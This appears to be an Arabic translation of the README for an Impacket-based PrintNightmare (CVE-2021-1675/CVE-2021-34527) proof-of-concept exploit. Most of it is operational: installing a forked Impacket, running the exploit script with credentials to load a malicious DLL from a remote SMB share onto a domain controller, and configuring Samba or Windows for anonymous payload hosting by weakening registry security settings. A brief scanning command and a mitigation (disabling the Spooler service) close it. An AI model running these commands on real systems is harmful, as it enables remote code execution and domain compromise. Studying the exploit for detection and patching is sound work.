CVE-2021-1675 / CVE-2021-34527

تنفيذ Impacket لـ PrintNightmare PoC الذي أنشأه في الأصل Zhiniang Peng (@edwardzpeng) و Xuefeng Li (@lxf02942370)

تم اختباره على وحدة تحكم مجال تعمل بنظام 2019 ومُحدَّثة بالكامل

تنفيذ ملفات DLL الضارة عن بُعد أو محليًا

تحديث التصحيح

أصدرت Microsoft تصحيحًا للتخفيف من هذه الهجمات، ولكن إذا كانت هذه القيم أدناه موجودة على جهاز ما، فسيظل هذا الجهاز عرضة للخطر

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

التثبيت

قبل تشغيل الأداة، يجب تثبيت نسختي من Impacket، وبعد ذلك ستكون جاهزًا تمامًا

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

مثال: ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\192.168.1.215\smb\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

تكوين SMB

أسهل طريقة لاستضافة الحمولات هي استخدام سامبا وتعديل /etc/samba/smb.conf للسماح بالوصول المجهول

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

من ويندوز، من الممكن أيضًا

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

المسح

يمكننا استخدام rpcdump.py من impacket لفحص الأجهزة التي يُحتمل أن تكون عرضة للخطر. إذا أعاد قيمة، فقد يكون الجهاز عرضة للخطر

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

التخفيف

قم بتعطيل خدمة Spooler

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f